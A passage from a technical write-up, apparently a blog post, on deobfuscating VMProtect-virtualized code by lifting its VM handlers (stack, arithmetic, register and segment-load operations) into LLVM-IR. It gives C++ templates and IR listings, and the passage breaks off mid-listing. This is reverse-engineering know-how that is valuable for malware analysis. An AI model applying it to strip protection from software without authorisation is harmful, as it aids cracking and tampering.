The global variable and function declarations are marked as extern "C" to avoid any form of name mangling. In fact we want to be able to fetch them from the dynamically loaded LLVM-IR Module using functions like getGlobalVariable and getFunction.

The compiled and optimized LLVM-IR code for the described C++ definitions follows:

%struct.VirtualRegister = type { %union.anon }
%union.anon = type { i64 }
%struct.anon = type { i8, i8, i8, i8, i8, i8, i8, i8 }

@RAM = external local_unnamed_addr global [0 x i8], align 1
@GS = external local_unnamed_addr global [0 x i8], align 1
@FS = external local_unnamed_addr global [0 x i8], align 1

declare i64 @HelperStub(i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), i64, i64, i64, i64* nonnull align 8 dereferenceable(8), i64* nonnull align 8 dereferenceable(8), %struct.VirtualRegister*, i64*) local_unnamed_addr

define i64 @HelperFunction(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
  %vmregs = alloca [30 x %struct.VirtualRegister], align 16
  %slots = alloca [30 x i64], align 16
  %vip = alloca i64, align 8
  %0 = bitcast [30 x %struct.VirtualRegister]* %vmregs to i8*
  call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %0, i8 0, i64 240, i1 false)
  %1 = bitcast [30 x i64]* %slots to i8*
  call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %1, i8 0, i64 240, i1 false)
  %2 = bitcast i64* %vip to i8*
  store i64 0, i64* %vip, align 8
  %arraydecay = getelementptr inbounds [30 x %struct.VirtualRegister], [30 x %struct.VirtualRegister]* %vmregs, i64 0, i64 0
  %arraydecay1 = getelementptr inbounds [30 x i64], [30 x i64]* %slots, i64 0, i64 0
  %call = call i64 @HelperStub(i64* nonnull align 8 dereferenceable(8) %rax, i64* nonnull align 8 dereferenceable(8) %rbx, i64* nonnull align 8 dereferenceable(8) %rcx, i64* nonnull align 8 dereferenceable(8) %rdx, i64* nonnull align 8 dereferenceable(8) %rsi, i64* nonnull align 8 dereferenceable(8) %rdi, i64* nonnull align 8 dereferenceable(8) %rbp, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %r8, i64* nonnull align 8 dereferenceable(8) %r9, i64* nonnull align 8 dereferenceable(8) %r10, i64* nonnull align 8 dereferenceable(8) %r11, i64* nonnull align 8 dereferenceable(8) %r12, i64* nonnull align 8 dereferenceable(8) %r13, i64* nonnull align 8 dereferenceable(8) %r14, i64* nonnull align 8 dereferenceable(8) %r15, i64* nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 0, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* nonnull %arraydecay, i64* nonnull %arraydecay1)
  ret i64 %call
}

Semantics of the handlers

We can now move on to the implementation of the semantics of the handlers used by VMProtect. As mentioned before, implementing them directly at the LLVM-IR level can be a tedious task, so we’ll proceed with the same C++ to LLVM-IR logic adopted in the previous section.

The following selection of handlers should give an idea of the logic adopted to implement the handlers’ semantics.

STACK_PUSH

To access the stack using the push operation, we define a templated helper function that takes the virtual stack pointer and value to push as parameters.

template <typename T> __attribute__((always_inline)) void STACK_PUSH(size_t &vsp, T value) {
  // Update the stack pointer
  vsp -= sizeof(T);
  // Store the value
  std::memcpy(&RAM[vsp], &value, sizeof(T));
}

We can see that the virtual stack pointer is decremented using the byte size of the template parameter. Then we proceed to use the std::memcpy function to execute a safe type punning store operation accessing the RAM array with the virtual stack pointer as index. The C++ implementation is compiled with -O3 optimizations, so the function will be inlined (as expected from the always_inline attribute) and the std::memcpy call will be converted to the proper pointer type cast and store instructions.

STACK_POP

As expected, also the stack pop operation is defined as a templated helper function that takes the virtual stack pointer as parameter and returns the popped value as output.

template <typename T> __attribute__((always_inline)) T STACK_POP(size_t &vsp) {
  // Fetch the value
  T value = 0;
  std::memcpy(&value, &RAM[vsp], sizeof(T));
  // Undefine the stack slot
  T undef = UNDEF<T>();
  std::memcpy(&RAM[vsp], &undef, sizeof(T));
  // Update the stack pointer
  vsp += sizeof(T);
  // Return the value
  return value;
}

We can see that the value is read from the stack using the same std::memcpy logic explained above, an undefined value is written to the current stack slot and the virtual stack pointer is incremented using the byte size of the template parameter. As in the previous case, the -O3 optimizations will take care of inlining and lowering the std::memcpy call.

ADD

Being a stack machine, we know that it is going to pop the two input operands from the top of the stack, add them together, calculate the updated flags and push the result and the flags back to the stack. There are four variations of the addition handler, meant to handle 8/16/32/64 bits operands, with the peculiarity that the 8 bits case is really popping 16 bits per operand off the stack and pushing a 16 bits result back to the stack to be consistent with the x64 push/pop alignment rules.

From what we just described the only thing we need is the virtual stack pointer, to be able to access the stack.

// ADD semantic

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool AF(T lhs, T rhs, T res) {
  return AuxCarryFlag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool PF(T res) {
  return ParityFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool ZF(T res) {
  return ZeroFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool SF(T res) {
  return SignFlag(res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool CF_ADD(T lhs, T rhs, T res) {
  return Carry<tag_add>::Flag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool OF_ADD(T lhs, T rhs, T res) {
  return Overflow<tag_add>::Flag(lhs, rhs, res);
}

template <typename T>
__attribute__((always_inline))
void ADD_FLAGS(size_t &flags, T lhs, T rhs, T res) {
  // Calculate the flags
  bool cf = CF_ADD(lhs, rhs, res);
  bool pf = PF(res);
  bool af = AF(lhs, rhs, res);
  bool zf = ZF(res);
  bool sf = SF(res);
  bool of = OF_ADD(lhs, rhs, res);
  // Update the flags
  UPDATE_EFLAGS(flags, cf, pf, af, zf, sf, of);
}

template <typename T>
__attribute__((always_inline))
void ADD(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Initialize the operands
  T op1 = 0;
  T op2 = 0;
  // Fetch the operands
  if (isByte) {
    op1 = Trunc(STACK_POP<uint16_t>(vsp));
    op2 = Trunc(STACK_POP<uint16_t>(vsp));
  } else {
    op1 = STACK_POP<T>(vsp);
    op2 = STACK_POP<T>(vsp);
  }
  // Calculate the add
  T res = UAdd(op1, op2);
  // Calculate the flags
  size_t flags = 0;
  ADD_FLAGS(flags, op1, op2, res);
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(res));
  } else {
    STACK_PUSH<T>(vsp, res);
  }
  // 7. Save the flags
  STACK_PUSH<size_t>(vsp, flags);
}

DEFINE_SEMANTIC_64(ADD_64) = ADD<uint64_t>;
DEFINE_SEMANTIC(ADD_32) = ADD<uint32_t>;
DEFINE_SEMANTIC(ADD_16) = ADD<uint16_t>;
DEFINE_SEMANTIC(ADD_8) = ADD<uint8_t>;

We can see that the function definition is templated with a T parameter that is internally used to generate the properly-sized stack accesses executed by the STACK_PUSH and STACK_POP helpers defined above. Additionally we are taking care of truncating and zero extending the special 8 bits case. Finally, after the unsigned addition took place, we rely on Remill’s semantically proven flag computations to calculate the fresh flags before pushing them to the stack.

The other binary and arithmetic operations are implemented following the same structure, with the correct operands access and flag computations.

PUSH_VMREG

This handler is meant to fetch the value stored in a VmRegister and push it to the stack. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister slot. Therefore the function arguments are going to be the virtual stack pointer and the value of the VmRegister. The template is additionally defining the size of the pushed value and the offset from the VmRegister slot base.

template <size_t Size, size_t Offset>
__attribute__((always_inline)) void PUSH_VMREG(size_t &vsp, VirtualRegister vmreg) {
  // Update the stack pointer
  vsp -= ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
  // Select the proper element of the virtual register
  if constexpr (Size == 64) {
    std::memcpy(&RAM[vsp], &vmreg.qword, sizeof(uint64_t));
  } else if constexpr (Size == 32) {
    if constexpr (Offset == 0) {
      std::memcpy(&RAM[vsp], &vmreg.dword.d0, sizeof(uint32_t));
    } else if constexpr (Offset == 1) {
      std::memcpy(&RAM[vsp], &vmreg.dword.d1, sizeof(uint32_t));
    }
  } else if constexpr (Size == 16) {
    if constexpr (Offset == 0) {
      std::memcpy(&RAM[vsp], &vmreg.word.w0, sizeof(uint16_t));
    } else if constexpr (Offset == 1) {
      std::memcpy(&RAM[vsp], &vmreg.word.w1, sizeof(uint16_t));
    } else if constexpr (Offset == 2) {
      std::memcpy(&RAM[vsp], &vmreg.word.w2, sizeof(uint16_t));
    } else if constexpr (Offset == 3) {
      std::memcpy(&RAM[vsp], &vmreg.word.w3, sizeof(uint16_t));
    }
  } else if constexpr (Size == 8) {
    if constexpr (Offset == 0) {
      uint16_t byte = ZExt(vmreg.byte.b0);
      std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
    } else if constexpr (Offset == 1) {
      uint16_t byte = ZExt(vmreg.byte.b1);
      std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
    }
    // NOTE: there might be other offsets here, but they were not observed
  }
}

DEFINE_SEMANTIC(PUSH_VMREG_8_LOW) = PUSH_VMREG<8, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_8_HIGH) = PUSH_VMREG<8, 1>;
DEFINE_SEMANTIC(PUSH_VMREG_16_LOWLOW) = PUSH_VMREG<16, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_16_LOWHIGH) = PUSH_VMREG<16, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHLOW) = PUSH_VMREG<16, 2>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHHIGH) = PUSH_VMREG<16, 3>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_LOW) = PUSH_VMREG<32, 0>;
DEFINE_SEMANTIC_32(POP_VMREG_32) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_HIGH) = PUSH_VMREG<32, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_64) = PUSH_VMREG<64, 0>;

We can see how the proper VmRegister sub-chunk is accessed based on the size and offset template parameters (e.g. vmreg.word.w1, vmreg.qword) and how once again the std::memcpy is used to implement a safe memory write on the indexed RAM array. The virtual stack pointer is also decremented as usual.

POP_VMREG

This handler is meant to pop a value from the stack and store it into a VmRegister. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister slot. Therefore the function arguments are going to be the virtual stack pointer and a reference to the VmRegister to be updated. As before the template is defining the size of the popped value and the offset into the VmRegister slot.

template <size_t Size, size_t Offset>
__attribute__((always_inline)) void POP_VMREG(size_t &vsp, VirtualRegister &vmreg) {
  // Fetch and store the value on the virtual register
  if constexpr (Size == 64) {
    uint64_t value = 0;
    std::memcpy(&value, &RAM[vsp], sizeof(uint64_t));
    vmreg.qword = value;
  } else if constexpr (Size == 32) {
    if constexpr (Offset == 0) {
      uint32_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFF00000000) | value);
    } else if constexpr (Offset == 1) {
      uint32_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
      vmreg.qword = ((vmreg.qword & 0x00000000FFFFFFFF) | UShl(ZExt(value), 32));
    }
  } else if constexpr (Size == 16) {
    if constexpr (Offset == 0) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFFFFFF0000) | value);
    } else if constexpr (Offset == 1) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFFFFFF0000FFFF) | UShl(ZExtTo<uint64_t>(value), 16));
    } else if constexpr (Offset == 2) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0xFFFF0000FFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 32));
    } else if constexpr (Offset == 3) {
      uint16_t value = 0;
      std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
      vmreg.qword = ((vmreg.qword & 0x0000FFFFFFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 48));
    }
  } else if constexpr (Size == 8) {
    if constexpr (Offset == 0) {
      uint16_t byte = 0;
      std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
      vmreg.byte.b0 = Trunc(byte);
    } else if constexpr (Offset == 1) {
      uint16_t byte = 0;
      std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
      vmreg.byte.b1 = Trunc(byte);
    }
    // NOTE: there might be other offsets here, but they were not observed
  }
  // Clear the value on the stack
  if constexpr (Size == 64) {
    uint64_t undef = UNDEF<uint64_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint64_t));
  } else if constexpr (Size == 32) {
    uint32_t undef = UNDEF<uint32_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint32_t));
  } else if constexpr (Size == 16) {
    uint16_t undef = UNDEF<uint16_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
  } else if constexpr (Size == 8) {
    uint16_t undef = UNDEF<uint16_t>();
    std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
  }
  // Update the stack pointer
  vsp += ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
}

DEFINE_SEMANTIC(POP_VMREG_8_LOW) = POP_VMREG<8, 0>;
DEFINE_SEMANTIC(POP_VMREG_8_HIGH) = POP_VMREG<8, 1>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWLOW) = POP_VMREG<16, 0>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWHIGH) = POP_VMREG<16, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHLOW) = POP_VMREG<16, 2>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHHIGH) = POP_VMREG<16, 3>;
DEFINE_SEMANTIC_64(POP_VMREG_32_LOW) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(POP_VMREG_32_HIGH) = POP_VMREG<32, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_64) = POP_VMREG<64, 0>;

In this case we can see that the update operation on the sub-chunks of the VmRegister is being done with some masking, shifting and zero extensions. This is to help LLVM with merging smaller integer values into a bigger integer value, whenever possible. As we saw in the STACK_POP operation, we are writing an undefined value to the current stack slot. Finally we are incrementing the virtual stack pointer.

LOAD and LOAD_GS

Generically speaking the LOAD handler is meant to pop an address from the stack, dereference it to load a value from one of the program segments and push the retrieved value to the top of the stack.

The following C++ snippet shows the implementation of a memory load from a generic memory pointer (e.g. SS or DS segments) and from the GS segment:

template <typename T> __attribute__((always_inline)) void LOAD(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Pop the address
  size_t address = STACK_POP<size_t>(vsp);
  // Load the value
  T value = 0;
  std::memcpy(&value, &RAM[address], sizeof(T));
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(value));
  } else {
    STACK_PUSH<T>(vsp, value);
  }
}

DEFINE_SEMANTIC_64(LOAD_SS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_SS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_SS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_SS_8) = LOAD<uint8_t>;

DEFINE_SEMANTIC_64(LOAD_DS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_DS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_DS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_DS_8) = LOAD<uint8_t>;

template <typename T> __attribute__((always_inline)) void LOAD_GS(size_t &vsp) {
  // Check if it's 'byte' size
  bool isByte = (sizeof(T) == 1);
  // Pop the address
  size_t address = STACK_POP<size_t>(vsp);
  // Load the value
  T value = 0;
  std::memcpy(&value, &GS[address], sizeof(T));
  // Save the result
  if (isByte) {
    STACK_PUSH<uint16_t>(vsp, ZExt(value));
  } else {
    STACK_PUSH<T>(vsp, value);
  }
}

DEFINE_SEMANTIC_64(LOAD_GS_64) = LOAD_GS<uint64_t>;
DEFINE_SEMANTIC(LOAD_GS_32) = LOAD_GS<uint32_t>;
DEFINE_SEMANTIC(LOAD_GS_16) = LOAD_GS<uint16_t>;
DEFINE_SEMANTIC(LOAD_GS_8) = LOAD_GS<uint8_t>;

By now the process should be clear. The only difference is the accessed zero-length array that will end up as base of the getelementptr instruction, which will directly reflect on the aliasing information that LLVM will be able to infer. The same kind of logic is applied to all the read or write memory accesses to the different segments.

DEFINE_SEMANTIC

In the code snippets of this section you may have noticed three macros named DEFINE_SEMANTIC_64, DEFINE_SEMANTIC_32 and DEFINE_SEMANTIC. They are the umpteenth trick borrowed from Remill and are meant to generate global variables with unmangled names, pointing to the function definition of the specialized template handlers. As an example, the ADD semantic definition for the 8/16/32/64 bits cases looks like this at the LLVM-IR level:

@SEM_ADD_64 = dso_local constant void (i64*)* @_Z3ADDIyEvRm, align 8
@SEM_ADD_32 = dso_local constant void (i64*)* @_Z3ADDIjEvRm, align 8
@SEM_ADD_16 = dso_local constant void (i64*)* @_Z3ADDItEvRm, align 8
@SEM_ADD_8 = dso_local constant void (i64*)* @_Z3ADDIhEvRm, align 8

UNDEF

In the code snippets of this section you may also have noticed the usage of a function called UNDEF. This function is used to store a fictitious __undef value after each pop from the stack. This is done to signal to LLVM that the popped value is no longer needed after being popped from the stack.

The __undef value is modeled as a global variable, which during the first phase of the optimization pipeline will be used by passes like DSE to kill overlapping post-dominated dead stores and it’ll be replaced with a real undef value near the end of the optimization pipeline such that the related store instruction will be gone on the final optimized LLVM-IR function.

Lifting a basic block

We now have a bunch of templates, structures and helper functions, but how do we actually end up lifting some virtualized code?

The high level idea is the following:

  • A new LLVM-IR function with the HelperStub signature is generated;
  • The function’s body is populated with call instructions to the VmHandler helper functions fed with the proper arguments (obtained from the HelperStub parameters);
  • The optimization pipeline is executed on the function, resulting in the inlining of all the helper functions (that are marked always_inline) and in the propagation of the values;
  • The updated state of the VmRegisters, VmPassingSlots and stores to the segments is optimized, removing most of the obfuscation patterns used by VMProtect;
  • The updated state of the virtual stack pointer and virtual instruction pointer is computed.

A fictitious example of a full pipeline based on the HelperStub function, implemented at the C++ level and optimized to obtain propagated LLVM-IR code follows:

extern "C" __attribute__((always_inline)) size_t SimpleExample_HelperStub(
  rptr rax, rptr rbx, rptr rcx,
  rptr rdx, rptr rsi, rptr rdi,
  rptr rbp, rptr rsp, rptr r8,
  rptr r9, rptr r10, rptr r11,
  rptr r12, rptr r13, rptr r14,
  rptr r15, rptr flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR, rptr vsp,
  rptr vip, VirtualRegister *__restrict__ vmregs,
  size_t *__restrict__ slots) {

  PUSH_REG(vsp, rax);
  PUSH_REG(vsp, rbx);
  POP_VMREG<64, 0>(vsp, vmregs[1]);
  POP_VMREG<64, 0>(vsp, vmregs[0]);
  PUSH_VMREG<64, 0>(vsp, vmregs[0]);
  PUSH_VMREG<64, 0>(vsp, vmregs[1]);
  ADD<uint64_t>(vsp);
  POP_VMREG<64, 0>(vsp, vmregs[2]);
  POP_VMREG<64, 0>(vsp, vmregs[3]);
  PUSH_VMREG<64, 0>(vsp, vmregs[3]);
  POP_REG(vsp, rax);

  return vip;
}

The C++ HelperStub function with calls to the handlers. This only serves as an example, normally the LLVM-IR for this is automatically generated from VM bytecode.

define dso_local i64 @SimpleExample_HelperStub(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias %vmregs, i64* noalias %slots) local_unnamed_addr {
entry:
  %rax.addr = alloca i64*, align 8
  %rbx.addr = alloca i64*, align 8
  %rcx.addr = alloca i64*, align 8
  %rdx.addr = alloca i64*, align 8
  %rsi.addr = alloca i64*, align 8
  %rdi.addr = alloca i64*, align 8
  %rbp.addr = alloca i64*, align 8
  %rsp.addr = alloca i64*, align 8
  %r8.addr = alloca i64*, align 8
  %r9.addr = alloca i64*, align 8
  %r10.addr = alloca i64*, align 8
  %r11.addr = alloca i64*, align 8
  %r12.addr = alloca i64*, align 8
  %r13.addr = alloca i64*, align 8
  %r14.addr = alloca i64*, align 8
  %r15.addr = alloca i64*, align 8
  %flags.addr = alloca i64*, align 8
  %KEY_STUB.addr = alloca i64, align 8
  %RET_ADDR.addr = alloca i64, align 8
  %REL_ADDR.addr = alloca i64, align 8
  %vsp.addr = alloca i64*, align 8
  %vip.addr = alloca i64*, align 8
  %vmregs.addr = alloca %struct.VirtualRegister*, align 8
  %slots.addr = alloca i64*, align 8
  %agg.tmp = alloca %struct.VirtualRegister, align 1
  %agg.tmp4 = alloca %struct.VirtualRegister, align 1
  %agg.tmp10 = alloca %struct.VirtualRegister, align 1
  store i64* %rax, i64** %rax.addr, align 8
  store i64* %rbx, i64** %rbx.addr, align 8
  store i64* %rcx, i64** %rcx.addr, align 8
  store i64* %rdx, i64** %rdx.addr, align 8
  store i64* %rsi, i64** %rsi.addr, align 8
  store i64* %rdi, i64** %rdi.addr, align 8
  store i64* %rbp, i64** %rbp.addr, align 8
  store i64* %rsp, i64** %rsp.addr, align 8
  store i64* %r8, i64** %r8.addr, align 8
  store i64* %r9, i64** %r9.addr, align 8
  store i64* %r10, i64** %r10.addr, align 8
  store i64* %r11, i64** %r11.addr, align 8
  store i64* %r12, i64** %r12.addr, align 8
  store i64* %r13, i64** %r13.addr, align 8
  store i64* %r14, i64** %r14.addr, align 8
  store i64* %r15, i64** %r15.addr, align 8
  store i64* %flags, i64** %flags.addr, align 8
  store i64 %KEY_STUB, i64* %KEY_STUB.addr, align 8
  store i64 %RET_ADDR, i64* %RET_ADDR.addr, align 8
  store i64 %REL_ADDR, i64* %REL_ADDR.addr, align 8
  store i64* %vsp, i64** %vsp.addr, align 8
  store i64* %vip, i64** %vip.addr, align 8
  store %struct.VirtualRegister* %vmregs, %struct.VirtualRegister** %vmregs.addr, align 8
  store i64* %slots, i64** %slots.addr, align 8
  %0 = load i64*, i64** %vsp.addr, align 8
  %1 = load i64*, i64** %rax.addr, align 8
  %2 = load i64, i64* %1, align 8
  call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %0, i64 %2)
  %3 = load i64*, i64** %vsp.addr, align 8
  %4 = load i64*, i64** %rbx.addr, align 8
  %5 = load i64, i64* %4, align 8
  call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %3, i64 %5)
  %6 = load i64*, i64** %vsp.addr, align 8
  %7 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %7, i64 1
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %6, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx)
  %8 = load i64*, i64** %vsp.addr, align 8
  %9 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx1 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %9, i64 0
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %8, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx1)
  %10 = load i64*, i64** %vsp.addr, align 8
  %11 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx2 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %11, i64 0
  %12 = bitcast %struct.VirtualRegister* %agg.tmp to i8*
  %13 = bitcast %struct.VirtualRegister* %arrayidx2 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %12, i8* align 1 %13, i64 8, i1 false)
  %coerce.dive = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp, i32 0, i32 0
  %coerce.dive3 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive, i32 0, i32 0
  %14 = load i64, i64* %coerce.dive3, align 1
  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %10, i64 %14)
  %15 = load i64*, i64** %vsp.addr, align 8
  %16 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx5 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %16, i64 1
  %17 = bitcast %struct.VirtualRegister* %agg.tmp4 to i8*
  %18 = bitcast %struct.VirtualRegister* %arrayidx5 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %17, i8* align 1 %18, i64 8, i1 false)
  %coerce.dive6 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp4, i32 0, i32 0
  %coerce.dive7 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive6, i32 0, i32 0
  %19 = load i64, i64* %coerce.dive7, align 1
  call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %15, i64 %19)
  %20 = load i64*, i64** %vsp.addr, align 8
  call void @_Z3ADDIyEvRm(i64* nonnull align 8 dereferenceable(8) %20)
  %21 = load i64*, i64** %vsp.addr, align 8
  %22 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx8 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %22, i64 2
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %21, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx8)
  %23 = load i64*, i64** %vsp.addr, align 8
  %24 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx9 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %24, i64 3
  call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %23, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx9)
  %25 = load i64*, i64** %vsp.addr, align 8
  %26 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
  %arrayidx11 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %26, i64 3
  %27 = bitcast %struct.VirtualRegister* %agg.tmp10 to i8*
  %28 = bitcast %struct.VirtualRegister* %arrayidx11 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %27, i8* align 1 %28, i64 8, i1 false)
  %coerce.dive12 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp10, i32 0, i32 0
  %coerce.dive13 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive12, i32 0, i32 0
  %29 = load i64, i64* %coerce.dive13, align 1
